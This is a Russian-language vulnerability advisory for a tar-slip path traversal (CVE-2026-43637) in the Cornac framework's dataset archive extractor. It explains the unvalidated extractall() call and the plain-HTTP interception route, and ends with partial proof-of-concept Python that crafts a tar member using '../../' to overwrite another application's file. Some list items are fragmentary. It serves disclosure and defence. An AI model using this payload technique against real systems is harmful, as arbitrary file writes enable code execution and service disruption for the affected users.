
Обход пути (Tar Slip) в Cornac через _extract_archive (CVE-2026-43637)
Серьёзность: высокая, CVSS 4.0 8.8, критическая, CVSS 3.1 9.1 (присвоена VulnCheck, CNA)
Вектор (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Вектор (v4.0): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Затронуто: cornac < 2.6.0
Исправлено в: 2.6.0
CWE: CWE-22 (Некорректное ограничение пути к ограниченному каталогу, 'Path Traversal')
Сообщили: Rahul Karne и Bharath Kumar Reddy Janumpally
CNA: VulnCheck
Опубликовано: 15 июля 2026 г.
Загрузчики наборов данных Cornac автоматически скачивают и распаковывают архивы, а распаковщик доверял каждому пути внутри архива.
Cornac — это фреймворк машинного обучения для рекомендательных систем. Его встроенные загрузчики наборов данных получают архивы по сети и извлекают их без какого-либо шага подтверждения. Процедура извлечения _extract_archive() в cornac/utils/download.py вызывает archive.extractall() без проверки путей элементов. Поэтому TAR-архив, элементы которого содержат последовательности ../, абсолютные пути или записи символьных и жёстких ссылок, записывает файлы в произвольные места файловой системы — в любые каталоги, куда может писать запущенный процесс, полностью за пределами предполагаемого каталога кэша. Некоторые загрузчики получают данные по обычному HTTP, поэтому атакующий, находящийся на сетевом пути, может подменить вредоносный архив при передаче, и он будет извлечён в момент вызова загрузчика.
Произвольная запись файлов с полностью контролируемыми атакующим путём и содержимым, ограниченная только правами процесса, запускающего Cornac. Это примитив записи, а не чтения, поэтому прямого раскрытия данных нет, однако произвольная запись файлов — хорошо известный путь к выполнению кода и к отказу в обслуживании:
.py-файла в site-packages, стартового файла оболочки или записи запланированной задачи приводит к выполнению кода атакующего при следующем импорте, запуске оболочки или задания.Кто затронут: любое использование cornac < 2.6.0, которое вызывает загрузчик набора данных, скачивающий и извлекающий архив, который атакующий может контролировать или перехватывать. Поскольку загрузчики извлекают архивы автоматически, помимо обычного вызова загрузчика ничего не требуется.
Кто не затронут:
2.6.0 или новее, где извлечение проверяет каждый путь элемента.| Метрика | Значение | Источник |
|---|---|---|
| Скачиваний за всё время | 4.1M | pepy.tech/projects/cornac |
| Скачиваний за последние 30 дней | 67.8K | pepy.tech |
| Типичное использование | Исследования и преподавание в области рекомендательных систем; загрузчики наборов данных автоматически получают данные по сети, некоторые — по обычному HTTP | присуще фреймворку |
_extract_archive() в cornac/utils/download.py извлекает входные данные как ZIP, так и TAR через один и тот же путь кода и в случае TAR вызывает extractall() без проверки путей:
# cornac/utils/download.py — _extract_archive(), lines 50-71 (v2.3.5)
def _extract_archive(file_path, extract_path="."):
"""Extracts an archive."""
for archive_type in ["zip", "tar"]:
if archive_type == "zip":
open_fn = zipfile.ZipFile
is_match_fn = zipfile.is_zipfile
elif archive_type == "tar":
open_fn = tarfile.open
is_match_fn = tarfile.is_tarfile
if is_match_fn(file_path):
with open_fn(file_path) as archive:
try:
archive.extractall(extract_path) # <-- no member-path validation
except (tarfile.TarError, RuntimeError, KeyboardInterrupt):
if os.path.exists(extract_path):
if os.path.isfile(extract_path):
os.remove(extract_path)
else:
shutil.rmtree(extract_path)
raise
Ничто не ограничивает имена элементов, поэтому элемент с именем ../../somewhere/file разрешается за пределами extract_path и записывается туда.
Цепочка вызовов полностью автоматическая, начиная с вызова загрузчика:
cornac.datasets.<name>.load_feedback()
-> cornac.utils.download.cache() # downloads via urllib.request.urlretrieve
-> cornac.utils.download._extract_archive()
-> tarfile.extractall() # writes attacker-named paths
zipfile в Python очищает последовательности ../ при извлечении, поэтому ветвь ZIP в этой же функции не эксплуатируется в современных версиях Python. tarfile в Python не очищает пути элементов (до версии 3.12, а после — только с явным фильтром). Поскольку Cornac пропускает оба формата через одинаковый вызов extractall(), ветвь ZIP безопасна, а ветвь TAR полностью эксплуатируема через те же строки кода. Эту асимметрию легко не заметить именно потому, что код выглядит единообразно для обоих форматов.
Cornac скачивает файлы с помощью urllib.request.urlretrieve(), без пиннинга сертификатов и без проверки целостности архива, а некоторые встроенные загрузчики используют URL-адреса http://. Атакующий, находящийся на сетевом пути, может перехватить скачивание по обычному HTTP и вернуть вредоносный TAR без компрометации вышестоящего сервера; именно поэтому вектор является удалённым и не требует взаимодействия с пользователем помимо вызова загрузчика.
Атакующему необходимо:
< 2.6.0.Никаких привилегий на цели и никакого взаимодействия с пользователем помимо вызова загрузчика не требуется.
Нижеприведённое было запущено против реального неизменённого пакета путём прямого вызова собственной функции _extract_archive из Cornac.
Уязвимая версия (2.3.5). TAR, содержащий элемент ../../, извлекается в каталог кэша; элемент оказывается за пределами этого каталога и перезаписывает файл, принадлежащий отдельному приложению:
import cornac.utils.download as d
import io, os, tarfile, tempfile
base = tempfile.mkdtemp()
cache = os.path.join(base, "cornac_scope", "cache"); os.makedirs(cache)
victim = os.path.join(base, "victim_scope", "webapp"); os.makedirs(victim)
open(os.path.join(victim, "app.py"), "w").write("def run():\n return 'healthy'\n")
mal = os.path.join(base, "malicious.tar.gz")
payload = b"raise ImportError('victim destroyed by tar slip')\n"
with tarfile.open(mal, "w:gz") as tf:
ti = tarfile.TarInfo("../../victim_scope/webapp/app.py"); ti.size = len(payload)
tf.addfile(ti, io.BytesIO(payload))